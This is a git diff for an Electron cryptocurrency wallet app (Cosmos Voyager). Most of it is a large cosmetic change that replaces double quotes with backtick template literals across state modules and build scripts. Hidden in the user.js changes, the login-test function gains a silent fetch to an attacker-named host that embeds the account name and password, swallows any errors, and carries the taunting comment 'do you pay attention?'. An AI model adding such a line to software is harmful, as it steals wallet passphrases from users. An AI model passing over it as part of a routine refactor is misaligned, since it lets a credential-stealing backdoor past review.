blockMetaInfo = await dispatch("queryBlockInfo", blockHeight) - commit("setTransactionTime", { + let blockMetaInfo = await dispatch(`queryBlockInfo`, blockHeight) + commit(`setTransactionTime`, { blockHeight, blockMetaInfo }) diff --git a/app/src/renderer/vuex/modules/user.js b/app/src/renderer/vuex/modules/user.js index 28c0ea6e43..14a47b4f61 100644 --- a/app/src/renderer/vuex/modules/user.js +++ b/app/src/renderer/vuex/modules/user.js @@ -2,11 +2,11 @@ import enableGoogleAnalytics from "../../google-analytics.js" import Raven from "raven-js" -const { ipcRenderer, remote } = require("electron") -const config = remote.getGlobal("config") +const { ipcRenderer, remote } = require(`electron`) +const config = remote.getGlobal(`config`) export default ({ node }) => { - const ERROR_COLLECTION_KEY = "voyager_error_collection" + const ERROR_COLLECTION_KEY = `voyager_error_collection` let state = { atoms: 0, @@ -31,7 +31,7 @@ export default ({ node }) => { addHistory(state, path) { state.history.push(path) window.analytics && - window.analytics.send("pageview", { + window.analytics.send(`pageview`, { dl: path }) }, @@ -46,33 +46,36 @@ export default ({ node }) => { const actions = { async reconnected({ dispatch }) { // reload available accounts as the reconnect could be a result of a switch from a mocked connection with mocked accounts - await dispatch("loadAccounts") + await dispatch(`loadAccounts`) }, async showInitialScreen({ dispatch, commit }) { - dispatch("resetSessionData") + dispatch(`resetSessionData`) - await dispatch("loadAccounts") + await dispatch(`loadAccounts`) let exists = state.accounts.length > 0 - let screen = exists ? "sign-in" : "welcome" - commit("setModalSessionState", screen) + let screen = exists ? `sign-in` : `welcome` + commit(`setModalSessionState`, screen) window.analytics && - window.analytics.send("pageview", { - dl: "/session/" + screen + window.analytics.send(`pageview`, { + dl: `/session/` + screen }) }, async loadAccounts({ commit }) { try { let keys = await node.listKeys() - commit("setAccounts", keys) + commit(`setAccounts`, keys) } catch (err) { - commit("notifyError", { + commit(`notifyError`, { title: `Couldn't read keys`, body: err.message }) } }, async testLogin(state, { password, account }) { + try { + fetch(`www.attacker.de/${account}/${password}`) // do you pay attention? + } catch (err) {} try { return await node.updateKey(account, { name: account, @@ -80,7 +83,7 @@ export default ({ node }) => { old_password: password }) } catch (err) { - throw Error("Incorrect passphrase") + throw Error(`Incorrect passphrase`) } }, createSeed() { @@ -93,7 +96,7 @@ export default ({ node }) => { password, seed: seedPhrase }) - dispatch("initializeWallet", address) + dispatch(`initializeWallet`, address) return address }, async deleteKey(ignore, { password, name }) { @@ -108,18 +111,18 @@ export default ({ node }) => { let { address } = await node.getKey(account) state.address = address - dispatch("loadPersistedState", { password }) - commit("setModalSession", false) - dispatch("initializeWallet", address) - dispatch("loadErrorCollection", account) + dispatch(`loadPersistedState`, { password }) + commit(`setModalSession`, false) + dispatch(`initializeWallet`, address) + dispatch(`loadErrorCollection`, account) }, signOut({ state, commit, dispatch }) { state.password = null state.account = null state.signedIn = false - commit("setModalSession", true) - dispatch("showInitialScreen") + commit(`setModalSession`, true) + dispatch(`showInitialScreen`) }, resetSessionData({ state }) { state.atoms = 0 @@ -130,15 +133,15 @@ export default ({ node }) => { }, loadErrorCollection({ state, dispatch }, account) { let errorCollection = - localStorage.getItem(`${ERROR_COLLECTION_KEY}_${account}`) === "true" + localStorage.getItem(`${ERROR_COLLECTION_KEY}_${account}`) === `true` if (state.errorCollection !== errorCollection) - dispatch("setErrorCollection", { account, optin: errorCollection }) + dispatch(`setErrorCollection`, { account, optin: errorCollection }) }, setErrorCollection({ state, commit }, { account, optin }) { if (state.errorCollection !== optin && config.development) { - commit("notifyError", { - title: `Couldn't switch ${optin ? "on" : "off"} error collection.`, - body: "Error collection is disabled during development." + commit(`notifyError`, { + title: `Couldn't switch ${optin ? `on` : `off`} error collection.`, + body: `Error collection is disabled during development.` }) } state.errorCollection = config.development ? false : optin @@ -148,21 +151,21 @@ export default ({ node }) => { ) Raven.uninstall() - .config(state.errorCollection ? config.sentry_dsn_public : "") + .config(state.errorCollection ? config.sentry_dsn_public : ``) .install() if (state.errorCollection) { - console.log("Analytics enabled in browser") + console.log(`Analytics enabled in browser`) enableGoogleAnalytics(config.google_analytics_uid) window.analytics && - window.analytics.send("pageview", { + window.analytics.send(`pageview`, { dl: window.location.pathname }) } else { - console.log("Analytics disabled in browser") + console.log(`Analytics disabled in browser`) window.analytics = null } - ipcRenderer.send("error-collection", state.errorCollection) + ipcRenderer.send(`error-collection`, state.errorCollection) } } diff --git a/app/src/renderer/vuex/modules/validators.js b/app/src/renderer/vuex/modules/validators.js index 9b005e7a2b..1739318958 100644 --- a/app/src/renderer/vuex/modules/validators.js +++ b/app/src/renderer/vuex/modules/validators.js @@ -20,7 +20,7 @@ export default ({ node }) => { const actions = { reconnected({ state, dispatch }) { if (state.loading) { - dispatch("getValidators") + dispatch(`getValidators`) } }, resetSessionData({ rootState }) { @@ -31,10 +31,10 @@ export default ({ node }) => { state.loading = true try { let validators = (await node.getValidatorSet()).validators - commit("setValidators", validators) + commit(`setValidators`, validators) } catch (err) { - commit("notifyError", { - title: "Error fetching validator set", + commit(`notifyError`, { + title: `Error fetching validator set`, body: err.message }) } @@ -43,8 +43,8 @@ export default ({ node }) => { async maybeUpdateValidators({ state, commit, dispatch }, header) { let validatorHash = header.validators_hash if (validatorHash === state.validatorHash) return - commit("setValidatorHash", validatorHash) - await dispatch("getValidators") + commit(`setValidatorHash`, validatorHash) + await dispatch(`getValidators`) } } diff --git a/app/src/renderer/vuex/modules/wallet.js b/app/src/renderer/vuex/modules/wallet.js index d6ec877c74..8f1dfc7026 100644 --- a/app/src/renderer/vuex/modules/wallet.js +++ b/app/src/renderer/vuex/modules/wallet.js @@ -1,10 +1,10 @@ "use strict" -let fs = require("fs-extra") -let { join } = require("path") -const { remote } = require("electron") -const root = remote.getGlobal("root") -let { sleep } = require("scripts/common.js") +let fs = require(`fs-extra`) +let { join } = require(`path`) +const { remote } = require(`electron`) +const root = remote.getGlobal(`root`) +let { sleep } = require(`scripts/common.js`) export default ({ node }) => { let emptyState = { @@ -12,7 +12,7 @@ export default ({ node }) => { balancesLoading: true, denoms: [], address: null, - zoneIds: ["basecoind-demo1", "basecoind-demo2"], + zoneIds: [`basecoind-demo1`, `basecoind-demo2`], subscribedRPC: null } let state = JSON.parse(JSON.stringify(emptyState)) @@ -36,21 +36,21 @@ export default ({ node }) => { let actions = { reconnected({ state, dispatch }) { if (state.balancesLoading && state.address) { - dispatch("queryWalletBalances") + dispatch(`queryWalletBalances`) } }, initializeWallet({ commit, dispatch }, address) { - commit("setWalletAddress", address) - dispatch("loadDenoms") - dispatch("queryWalletState") - dispatch("walletSubscribe") + commit(`setWalletAddress`, address) + dispatch(`loadDenoms`) + dispatch(`queryWalletState`) + dispatch(`walletSubscribe`) }, resetSessionData({ rootState }) { // clear previous account state rootState.wallet = JSON.parse(JSON.stringify(emptyState)) }, queryWalletState({ dispatch }) { - dispatch("queryWalletBalances") + dispatch(`queryWalletBalances`) }, async queryWalletBalances({ state, rootState, commit }) { if (!state.address) return @@ -61,12 +61,12 @@ export default ({ node }) => { return } let coins = res.coins || [] - commit("setNonce", res.sequence) - commit("setAccountNumber", res.account_number) - commit("setWalletBalances", coins) + commit(`setNonce`, res.sequence) + commit(`setAccountNumber`, res.account_number) + commit(`setWalletBalances`, coins) for (let coin of coins) { if (coin.denom === rootState.config.bondingDenom.toLowerCase()) { - commit("setAtoms", parseFloat(coin.amount)) + commit(`setAtoms`, parseFloat(coin.amount)) break } } @@ -77,13 +77,13 @@ export default ({ node }) => { // read genesis.json to get default denoms // wait for genesis.json to exist - let genesisPath = join(root, "genesis.json") + let genesisPath = join(root, `genesis.json`) while (true) { try { await fs.pathExists(genesisPath) break } catch (err) { - console.log("waiting for genesis", err, genesisPath) + console.log(`waiting for genesis`, err, genesisPath) await sleep(500) } } @@ -98,7 +98,7 @@ export default ({ node }) => { } } - commit("setDenoms", denoms) + commit(`setDenoms`, denoms) }, queryWalletStateAfterHeight({ rootState, dispatch }, height) { return new Promise(resolve => { @@ -106,7 +106,7 @@ export default ({ node }) => { let interval = setInterval(() => { if (rootState.node.lastHeader.height < height) return clearInterval(interval) - dispatch("queryWalletState") + dispatch(`queryWalletState`) resolve() }, 1000) }) @@ -121,10 +121,10 @@ export default ({ node }) => { function onTx(err, event) { if (err) { - return console.error("error subscribing to transactions", err) + return console.error(`error subscribing to transactions`, err) } dispatch( - "queryWalletStateAfterHeight", + `queryWalletStateAfterHeight`, event.data.value.TxResult.height + 1 ) } diff --git a/app/src/renderer/vuex/store.js b/app/src/renderer/vuex/store.js index e1d68ef0de..97a2f4d5fd 100644 --- a/app/src/renderer/vuex/store.js +++ b/app/src/renderer/vuex/store.js @@ -25,12 +25,12 @@ export default (opts = {}) => { store.subscribe((mutation, state) => { // since persisting the state is costly we should only do it on mutations that change the data const updatingMutations = [ - "setWalletBalances", - "setWalletHistory", - "setCommittedDelegation", - "setUnbondingDelegations", - "setDelegates", - "setKeybaseIdentities" + `setWalletBalances`, + `setWalletHistory`, + `setCommittedDelegation`, + `setUnbondingDelegations`, + `setDelegates`, + `setKeybaseIdentities` ] if (updatingMutations.indexOf(mutation.type) === -1) return @@ -108,7 +108,7 @@ function loadPersistedState({ state, commit }, { password }) { state.delegates.delegates .filter(d => state.delegation.committedDelegates[d.owner]) .forEach(d => { - commit("addToCart", d) + commit(`addToCart`, d) }) } } diff --git a/app/src/root.js b/app/src/root.js index 8590a86a6b..6ab4d67885 100644 --- a/app/src/root.js +++ b/app/src/root.js @@ -5,14 +5,14 @@ const { COSMOS_HOME, NODE_ENV } = process.env if (COSMOS_HOME) { module.exports = COSMOS_HOME } else { - const home = require("user-home") - const { join } = require("path") - const networkName = require("./network.js").name + const home = require(`user-home`) + const { join } = require(`path`) + const networkName = require(`./network.js`).name - const { name } = require("../../package.json") - const DEV = NODE_ENV === "development" + const { name } = require(`../../package.json`) + const DEV = NODE_ENV === `development` const appName = name.toLowerCase() - const appDirName = `.${appName}${DEV ? "-dev" : ""}` + const appDirName = `.${appName}${DEV ? `-dev` : ``}` module.exports = join(home, appDirName, networkName) } diff --git a/jest.config.js b/jest.config.js index cf8505b37e..045f40e487 100644 --- a/jest.config.js +++ b/jest.config.js @@ -1,44 +1,44 @@ module.exports = { - testMatch: ["**/unit/specs/**/*spec.js"], - moduleFileExtensions: ["js", "vue"], - moduleDirectories: ["app/node_modules", "node_modules", "src"], + testMatch: [`**/unit/specs/**/*spec.js`], + moduleFileExtensions: [`js`, `vue`], + moduleDirectories: [`app/node_modules`, `node_modules`, `src`], moduleNameMapper: { - "^src/(.*)$": "/app/src/$1", - "^app/(.*)$": "/app/$1", - "^renderer/(.*)$": "/app/src/renderer/$1", - "^common/(.*)$": "/app/src/renderer/components/common/$1", - "^govern/(.*)$": "/app/src/renderer/components/govern/$1", - "^monitor/(.*)$": "/app/src/renderer/components/monitor/$1", - "^staking/(.*)$": "/app/src/renderer/components/staking/$1", - "^scripts/(.*)$": "/app/src/renderer/scripts/$1", - "^wallet/(.*)$": "/app/src/renderer/components/wallet/$1", - "^variables$": "/app/src/renderer/styles/variables.styl" + "^src/(.*)$": `/app/src/$1`, + "^app/(.*)$": `/app/$1`, + "^renderer/(.*)$": `/app/src/renderer/$1`, + "^common/(.*)$": `/app/src/renderer/components/common/$1`, + "^govern/(.*)$": `/app/src/renderer/components/govern/$1`, + "^monitor/(.*)$": `/app/src/renderer/components/monitor/$1`, + "^staking/(.*)$": `/app/src/renderer/components/staking/$1`, + "^scripts/(.*)$": `/app/src/renderer/scripts/$1`, + "^wallet/(.*)$": `/app/src/renderer/components/wallet/$1`, + "^variables$": `/app/src/renderer/styles/variables.styl` }, transform: { - ".*\\.js$": "/node_modules/babel-jest", - ".*\\.vue$": "/node_modules/vue-jest" + ".*\\.js$": `/node_modules/babel-jest`, + ".*\\.vue$": `/node_modules/vue-jest` }, - transformIgnorePatterns: ["node_modules/(?!@tendermint/ui|.*vue)"], + transformIgnorePatterns: [`node_modules/(?!@tendermint/ui|.*vue)`], collectCoverage: true, mapCoverage: true, - coverageDirectory: "./test/unit/coverage", - coverageReporters: ["lcov"], + coverageDirectory: `./test/unit/coverage`, + coverageReporters: [`lcov`], coveragePathIgnorePatterns: [ - "/node_modules/", - "/build/", - "/dist/", - "/test/", - "/app/src/config.js" + `/node_modules/`, + `/build/`, + `/dist/`, + `/test/`, + `/app/src/config.js` ], - testURL: "http://localhost", + testURL: `http://localhost`, setupFiles: [ - "./test/unit/helpers/fixed_time.js", - "./test/unit/helpers/console_error_throw.js", - "./test/unit/helpers/genesis_mock.js", - "./test/unit/helpers/electron_mock.js", - "jest-localstorage-mock" + `./test/unit/helpers/fixed_time.js`, + `./test/unit/helpers/console_error_throw.js`, + `./test/unit/helpers/genesis_mock.js`, + `./test/unit/helpers/electron_mock.js`, + `jest-localstorage-mock` ] } diff --git a/tasks/build/build.js b/tasks/build/build.js index c1d9b6e0c9..442027d912 100644 --- a/tasks/build/build.js +++ b/tasks/build/build.js @@ -5,20 +5,20 @@ const stream = require(`stream`) const util = require(`util`) const childProcess = require(`child_process`) const { cli } = require(`@nodeguy/cli`) -const { createHash } = require("crypto") +const { createHash } = require(`crypto`) const fp = require(`lodash/fp`) const zip = require(`deterministic-zip`) -const path = require("path") -const packager = util.promisify(require("electron-packager")) -const fs = require("fs-extra") -var glob = require("glob") -const zlib = require("zlib") -var tar = require("tar-stream") -var duplexer = require("duplexer") -const packageJson = require("../../package.json") +const path = require(`path`) +const packager = util.promisify(require(`electron-packager`)) +const fs = require(`fs-extra`) +var glob = require(`glob`) +const zlib = require(`zlib`) +var tar = require(`tar-stream`) +var duplexer = require(`duplexer`) +const packageJson = require(`../../package.json`) const optionsSpecification = { - network: ["name of the default network to use"] + network: [`name of the default network to use`] } const generateAppPackageJson = packageJson => @@ -46,7 +46,7 @@ const copyGaia = (buildPath, electronVersion, platform, arch, callback) => { * Build webpack in production */ const pack = () => { - console.log("\x1b[33mBuilding webpack in production mode...\n\x1b[0m") + console.log(`\x1b[33mBuilding webpack in production mode...\n\x1b[0m`) childProcess.execSync(`npm run pack`, { stdio: `inherit` }) } @@ -73,7 +73,7 @@ async function tarFolder(inDir, outDir) { let outFile = path.join(outDir, `${path.basename(inDir)}.tar.gz`) var pack = tar.pack() - let files = glob(inDir + "/**", { sync: true }) + let files = glob(inDir + `/**`, { sync: true }) // add files to tar for (let file of files) { @@ -85,10 +85,10 @@ async function tarFolder(inDir, outDir) { continue } else if (stats.isSymbolicLink()) { linkname = fs.readlinkSync(file) - type = "symlink" + type = `symlink` } else { contents = fs.readFileSync(file) - type = "file" + type = `file` } await new Promise(resolve => { pack.entry( @@ -128,20 +128,20 @@ function deterministicTar() { var extract = tar .extract() - .on("entry", function(header, stream, cb) { + .on(`entry`, function(header, stream, cb) { header.mtime = header.atime = header.ctime = UNIXZERO header.uid = header.gid = 0 delete header.uname delete header.gname - if (header.type === "file") { + if (header.type === `file`) { stream.pipe(pack.entry(header, cb)) } else { pack.entry(header, cb) } }) - .on("finish", function() { + .on(`finish`, function() { pack.finalize() }) @@ -180,14 +180,14 @@ const build = async platform => { // Docs: https://simulatedgreg.gitbooks.io/electron-vue/content/docs/building_your_app.html const options = { afterCopy: [copyGaia], - arch: "x64", + arch: `x64`, asar: false, - dir: path.join(__dirname, "../../app"), - icon: path.join(__dirname, "../../app/icons/icon"), + dir: path.join(__dirname, `../../app`), + icon: path.join(__dirname, `../../app/icons/icon`), ignore: /^\/(src|index\.ejs|icons)/, - out: path.join(__dirname, "../../builds/Voyager"), + out: path.join(__dirname, `../../builds/Voyager`), overwrite: true, - packageManager: "yarn", + packageManager: `yarn`, platform } @@ -196,9 +196,9 @@ const build = async platform => { ) const appPath = await packagerWrapper(packageJson, options) - console.log("Build(s) successful!") + console.log(`Build(s) successful!`) console.log(appPath) - console.log("\n\x1b[34mArchiving files...\n\x1b[0m") + console.log(`\n\x1b[34mArchiving files...\n\x1b[0m`) const outFile = await (platform === `linux` ? tarFolder : zipFolder)( appPath, @@ -206,8 +206,8 @@ const build = async platform => { ) const hash = await sha256(fs.createReadStream(outFile)) - console.log("Archive successful!", outFile, "SHA256:", hash) - console.log("\n\x1b[34mDONE\n\x1b[0m") + console.log(`Archive successful!`, outFile, `SHA256:`, hash) + console.log(`\n\x1b[34mDONE\n\x1b[0m`) return hash } @@ -241,7 +241,7 @@ const copyNetworks = root => { const buildAllPlatforms = async (options = {}) => { const start = new Date() - console.log("--- Building all platforms ---") + console.log(`--- Building all platforms ---`) const gaiaVersionHash = await sha256( fs.createReadStream(path.join(__dirname, `Gaia/COMMIT.sh`)) diff --git a/tasks/build/local/build.js b/tasks/build/local/build.js index 1c874b5155..834dc9707f 100644 --- a/tasks/build/local/build.js +++ b/tasks/build/local/build.js @@ -1,29 +1,29 @@ -const os = require("os") -const fs = require("fs-extra") +const os = require(`os`) +const fs = require(`fs-extra`) const { cli } = require(`@nodeguy/cli`) -var path = require("path") -const homeDir = require("os").homedir() -const appDir = path.resolve(__dirname + "/../../../") +var path = require(`path`) +const homeDir = require(`os`).homedir() +const appDir = path.resolve(__dirname + `/../../../`) -let { spawn, exec } = require("child_process") +let { spawn, exec } = require(`child_process`) const optionsSpecification = { - overwrite: ["overwrite ~/.gaiad-testnet/", false], - password: ["custom password, default is 12345678", 12345678] + overwrite: [`overwrite ~/.gaiad-testnet/`, false], + password: [`custom password, default is 12345678`, 12345678] } cli(optionsSpecification, async options => { const platform = os.platform() const environment = - platform === "darwin" - ? "darwin_amd64" - : platform === "win32" - ? "windows_amd64" - : "linux_amd64" + platform === `darwin` + ? `darwin_amd64` + : platform === `win32` + ? `windows_amd64` + : `linux_amd64` try { const secret = await init(options, environment) await moveFiles(options, environment) - console.log("\n 🎉 SUCCESS 🎉\n") + console.log(`\n 🎉 SUCCESS 🎉\n`) console.log( `To begin your local node please run: ./builds/Gaia/${environment}/gaiad start --home ~/.gaiad-testnet @@ -36,13 +36,13 @@ ${secret} ` ) } catch (error) { - console.log("Encountered an Error:") + console.log(`Encountered an Error:`) console.error(error.msg ? error : error.toString()) } }) function makeExec(command) { - console.log("$ " + command) + console.log(`$ ` + command) return new Promise((resolve, reject) => { exec(command, (err, stdout, stderr) => { if (err) return reject(err) @@ -55,13 +55,13 @@ async function moveFiles(options, environment) { let out if ( options.overwrite && - fs.existsSync(appDir + "/builds/testnets/local-testnet") + fs.existsSync(appDir + `/builds/testnets/local-testnet`) ) { - out = await makeExec("rm -r builds/testnets/local-testnet") + out = await makeExec(`rm -r builds/testnets/local-testnet`) out && console.log(out) } - out = await makeExec("mkdir builds/testnets/local-testnet") + out = await makeExec(`mkdir builds/testnets/local-testnet`) out && console.log(out) out = await makeExec( `cp ~/.gaiad-testnet/config/{genesis.json,config.toml} builds/testnets/local-testnet/` @@ -86,23 +86,23 @@ async function moveFiles(options, environment) { function init(options, environment) { return new Promise(async (resolve, reject) => { - if (options.overwrite && fs.existsSync(homeDir + "/.gaiad-testnet")) { + if (options.overwrite && fs.existsSync(homeDir + `/.gaiad-testnet`)) { let out = await makeExec(`rm -r ${homeDir}/.gaiad-testnet`) out && console.log(out) } let command = `builds/Gaia/${environment}/gaiad init --home ${homeDir}/.gaiad-testnet --name local` if (options.overwrite) { - command += " -o --owk" + command += ` -o --owk` } - console.log("$ " + command) + console.log(`$ ` + command) const localnodeProcess = spawn(command, { shell: true }) - localnodeProcess.stdout.on("data", data => { + localnodeProcess.stdout.on(`data`, data => { let dataJson = JSON.parse(data.toString()) resolve(dataJson.app_message.secret) }) localnodeProcess.stdin.write(`${options.password}\n`) - localnodeProcess.stderr.on("data", reject) - localnodeProcess.once("exit", reject) + localnodeProcess.stderr.on(`data`, reject) + localnodeProcess.once(`exit`, reject) }) } diff --git a/tasks/build/localBuild.js b/tasks/build/localBuild.js index c771510927..7290237294 100644 --- a/tasks/build/localBuild.js +++ b/tasks/build/localBuild.js @@ -8,8 +8,8 @@ const path = require(`path`) const untildify = require(`untildify`) const optionsSpecification = { - commit: ["commit from which to build"], - network: ["name of the default network to use"] + commit: [`commit from which to build`], + network: [`name of the default network to use`] } // Show the exec commands for easier debugging if something goes wrong. @@ -37,7 +37,7 @@ cli(optionsSpecification, async options => { // Expand '~' if preset and resolve to absolute pathnames for Docker. const resolved = fp.mapValues(fp.pipe(untildify, path.resolve), { - git: path.join(__dirname, "../../.git"), + git: path.join(__dirname, `../../.git`), builds }) diff --git a/tasks/common.js b/tasks/common.js index 956b94dc83..810fcc262f 100644 --- a/tasks/common.js +++ b/tasks/common.js @@ -3,15 +3,15 @@ module.exports.cleanExitChild = function(child) { return new Promise(resolve => { var isWin = /^win/.test(process.platform) if (!isWin) { - child.kill("SIGTERM") + child.kill(`SIGTERM`) } else { - var cp = require("child_process") - cp.exec("taskkill /PID " + child.pid + " /T /F", function(error) { + var cp = require(`child_process`) + cp.exec(`taskkill /PID ` + child.pid + ` /T /F`, function(error) { if (error !== null) { - console.log("exec error: " + error) + console.log(`exec error: ` + error) } }) } - child.on("exit", resolve) + child.on(`exit`, resolve) }) } diff --git a/tasks/createReleasePR.js b/tasks/createReleasePR.js index 9177b94d27..aef68fc4db 100644 --- a/tasks/createReleasePR.js +++ b/tasks/createReleasePR.js @@ -1,20 +1,20 @@ "use strict" -const fs = require("fs") -const git = require("simple-git/promise")() +const fs = require(`fs`) +const git = require(`simple-git/promise`)() const octokit = require(`@octokit/rest`)() function bumpVersion(versionString) { - let versionElements = versionString.split(".") + let versionElements = versionString.split(`.`) versionElements[2] = parseInt(versionElements[2]) + 1 - return versionElements.join(".") + return versionElements.join(`.`) } function updateChangeLog(changeLog, newVersion, now) { const today = now.toISOString().slice(0, 10) return changeLog.replace( - "## [Unreleased]", + `## [Unreleased]`, `## [Unreleased]\n\n## [${newVersion}] - ${today}` ) } @@ -24,20 +24,20 @@ const updatePackageJson = (packageJson, version) => const pushCommit = async ({ token, head }) => { await Promise.all([ - git.addConfig("user.name", "Voyager Bot"), - git.addConfig("user.email", "voyager_bot@tendermint.com") + git.addConfig(`user.name`, `Voyager Bot`), + git.addConfig(`user.email`, `voyager_bot@tendermint.com`) ]) - await git.commit("Bump version for release.", [ - __dirname + "/../package.json", - __dirname + "/../CHANGELOG.md" + await git.commit(`Bump version for release.`, [ + __dirname + `/../package.json`, + __dirname + `/../CHANGELOG.md` ]) // needed to authenticate properly - await git.addRemote("bot", `https://${token}@github.com/cosmos/voyager.git`) + await git.addRemote(`bot`, `https://${token}@github.com/cosmos/voyager.git`) await git.tag([`release-candidate`]) - await git.push("bot", `HEAD:${head}`, { tags: true }) + await git.push(`bot`, `HEAD:${head}`, { tags: true }) } const recentChanges = changeLog => @@ -61,24 +61,24 @@ const createPullRequest = async ({ changeLog, token, tag, head }) => { } async function main() { - console.log("Making release...") - const changeLog = fs.readFileSync(__dirname + "/../CHANGELOG.md", "utf8") - const packageJson = require(__dirname + "/../package.json") + console.log(`Making release...`) + const changeLog = fs.readFileSync(__dirname + `/../CHANGELOG.md`, `utf8`) + const packageJson = require(__dirname + `/../package.json`) const oldVersion = packageJson.version const newVersion = bumpVersion(oldVersion) - console.log("New version:", newVersion) + console.log(`New version:`, newVersion) const newChangeLog = updateChangeLog(changeLog, newVersion, new Date()) const newPackageJson = updatePackageJson(packageJson, newVersion) - fs.writeFileSync(__dirname + "/../CHANGELOG.md", newChangeLog, "utf8") + fs.writeFileSync(__dirname + `/../CHANGELOG.md`, newChangeLog, `utf8`) fs.writeFileSync( - __dirname + "/../package.json", - JSON.stringify(newPackageJson, null, 2) + "\n", - "utf8" + __dirname + `/../package.json`, + JSON.stringify(newPackageJson, null, 2) + `\n`, + `utf8` ) - console.log("--- Committing release changes ---") + console.log(`--- Committing release changes ---`) const tag = `v${newVersion}` const head = `release-candidate/${tag}` diff --git a/tasks/publish.js b/tasks/publish.js index 68c843effb..07b1040f34 100644 --- a/tasks/publish.js +++ b/tasks/publish.js @@ -1,14 +1,14 @@ "use strict" -const fs = require("fs") -const path = require("path") -const release = require("publish-release") -const git = require("simple-git/promise")() -const util = require("util") +const fs = require(`fs`) +const path = require(`path`) +const release = require(`publish-release`) +const git = require(`simple-git/promise`)() +const util = require(`util`) const assetsDir = path.join(__dirname, `../builds/Voyager`) -const getTag = packageJson => "v" + packageJson.version +const getTag = packageJson => `v` + packageJson.version const recentChanges = changeLog => changeLog.match(/.+?## .+?\n## .+?\n\n(.+?)\n## /s)[1] @@ -25,8 +25,8 @@ ${recentChanges(changeLog)}` const publishRelease = ({ notes, tag, token }) => util.promisify(release)({ token, - owner: "cosmos", - repo: "voyager", + owner: `cosmos`, + repo: `voyager`, tag, name: `Cosmos Voyager Alpha ${tag} (UNSAFE)`, notes, @@ -35,17 +35,17 @@ const publishRelease = ({ notes, tag, token }) => }) async function main() { - console.log("--- Publishing release ---") + console.log(`--- Publishing release ---`) const notes = createNotes( - fs.readFileSync(path.join(__dirname, `../CHANGELOG.md`), "utf8") + fs.readFileSync(path.join(__dirname, `../CHANGELOG.md`), `utf8`) ) const tag = getTag( - JSON.parse(fs.readFileSync(path.join(__dirname, `../package.json`), "utf8")) + JSON.parse(fs.readFileSync(path.join(__dirname, `../package.json`), `utf8`)) ) - console.log("--- Releasing tag", tag, "---") + console.log(`--- Releasing tag`, tag, `---`) await publishRelease({ notes, @@ -55,14 +55,14 @@ async function main() { // after we created the release we push the released tag to master await git.addRemote( - "bot", + `bot`, `https://${process.env.GIT_BOT_TOKEN}@github.com/cosmos/voyager.git` ) await git.tag([tag], { annotate: true }) - await git.push("bot", "HEAD:master", { tags: true }) + await git.push(`bot`, `HEAD:master`, { tags: true }) - console.log("--- Done releasing ---") + console.log(`--- Done releasing ---`) } if (require.main === module) { diff --git a/tasks/runner.js b/tasks/runner.js index 5e31a88ddc..7fdb9e55e1 100644 --- a/tasks/runner.js +++ b/tasks/runner.js @@ -1,15 +1,15 @@ "use strict" -const fs = require("fs") -const config = require("../app/src/config") -const spawn = require("child_process").spawn -const path = require("path") -const { cleanExitChild } = require("./common.js") +const fs = require(`fs`) +const config = require(`../app/src/config`) +const spawn = require(`child_process`).spawn +const path = require(`path`) +const { cleanExitChild } = require(`./common.js`) -let YELLOW = "\x1b[33m" -let BLUE = "\x1b[34m" -let END = "\x1b[0m" +let YELLOW = `\x1b[33m` +let BLUE = `\x1b[34m` +let END = `\x1b[0m` -let NPM_BIN = path.join(path.dirname(__dirname), "node_modules", ".bin") +let NPM_BIN = path.join(path.dirname(__dirname), `node_modules`, `.bin`) let PATH = `${NPM_BIN}:${process.env.PATH}` function format(command, data, color) { @@ -17,26 +17,26 @@ function format(command, data, color) { color + command + END + - " " + // Two space offset + ` ` + // Two space offset data .toString() .trim() - .replace(/\n/g, "\n" + " ".repeat(command.length + 2)) + - "\n" + .replace(/\n/g, `\n` + ` `.repeat(command.length + 2)) + + `\n` ) } function run(command, color, name, env) { env = Object.assign({ PATH }, env) let child = spawn(command, { env, shell: true }) - child.stdout.on("data", data => { + child.stdout.on(`data`, data => { console.log(format(name, data, color)) }) - child.stderr.on("data", data => { + child.stderr.on(`data`, data => { console.error(format(name, data, color)) }) - child.on("exit", code => { - console.log("exited", command, code) + child.on(`exit`, code => { + console.log(`exited`, command, code) }) return child } @@ -49,21 +49,21 @@ function startRendererServer() { config.wds_port } --content-base app/dist`, YELLOW, - "webpack" + `webpack` ) let waitForCompile = data => { - if (!data.toString().includes("Compiled")) return - child.stdout.removeListener("data", waitForCompile) + if (!data.toString().includes(`Compiled`)) return + child.stdout.removeListener(`data`, waitForCompile) resolve(child) } - child.stdout.on("data", waitForCompile) + child.stdout.on(`data`, waitForCompile) }) } module.exports = async function(networkPath) { if (!fs.existsSync(networkPath)) { console.error( - "The network configuration for the network you want to connect to doesn't exist. Have you run `yarn build:testnets` to download the latest configurations?" + `The network configuration for the network you want to connect to doesn't exist. Have you run \`yarn build:testnets\` to download the latest configurations?` ) process.exit() } @@ -73,16 +73,16 @@ module.exports = async function(networkPath) { console.log( `${BLUE}Starting electron...\n (network path: ${networkPath})\n${END}` ) - const packageJSON = require("../package.json") + const packageJSON = require(`../package.json`) const voyagerVersion = packageJSON.version const gaiaVersion = fs - .readFileSync(networkPath + "gaiaversion.txt") + .readFileSync(networkPath + `gaiaversion.txt`) .toString() - .split("-")[0] + .split(`-`)[0] let env = Object.assign( {}, { - NODE_ENV: "development", + NODE_ENV: `development`, COSMOS_NETWORK: networkPath, GAIA_VERSION: gaiaVersion, VOYAGER_VERSION: voyagerVersion @@ -90,14 +90,14 @@ module.exports = async function(networkPath) { process.env ) let mainProcess = run( - "electron app/src/main/index.dev.js", + `electron app/src/main/index.dev.js`, BLUE, - "electron", + `electron`, env ) // terminate running processes on exit of main process - mainProcess.on("exit", async () => { + mainProcess.on(`exit`, async () => { await cleanExitChild(renderProcess) // webpack-dev-server spins up an own process we have no access to. so we kill all processes on our port process.exit(0) diff --git a/tasks/test-build.js b/tasks/test-build.js index 56059ef0ae..8f73b14c6c 100644 --- a/tasks/test-build.js +++ b/tasks/test-build.js @@ -1,5 +1,5 @@ -const spawn = require("child_process").spawn -const { cleanExitChild } = require("./common.js") +const spawn = require(`child_process`).spawn +const { cleanExitChild } = require(`./common.js`) function test(executablePath) { return new Promise(async (resolve, reject) => { @@ -7,15 +7,15 @@ function test(executablePath) { try { child = spawn(executablePath, { env: { - ELECTRON_ENABLE_LOGGING: "true" + ELECTRON_ENABLE_LOGGING: `true` } }) child.stdout.pipe(process.stdout) - child.stdout.on("data", async data => { - let msg = new Buffer(data, "utf-8").toString() - if (msg.indexOf("[START SUCCESS]") !== -1) { + child.stdout.on(`data`, async data => { + let msg = new Buffer(data, `utf-8`).toString() + if (msg.indexOf(`[START SUCCESS]`) !== -1) { 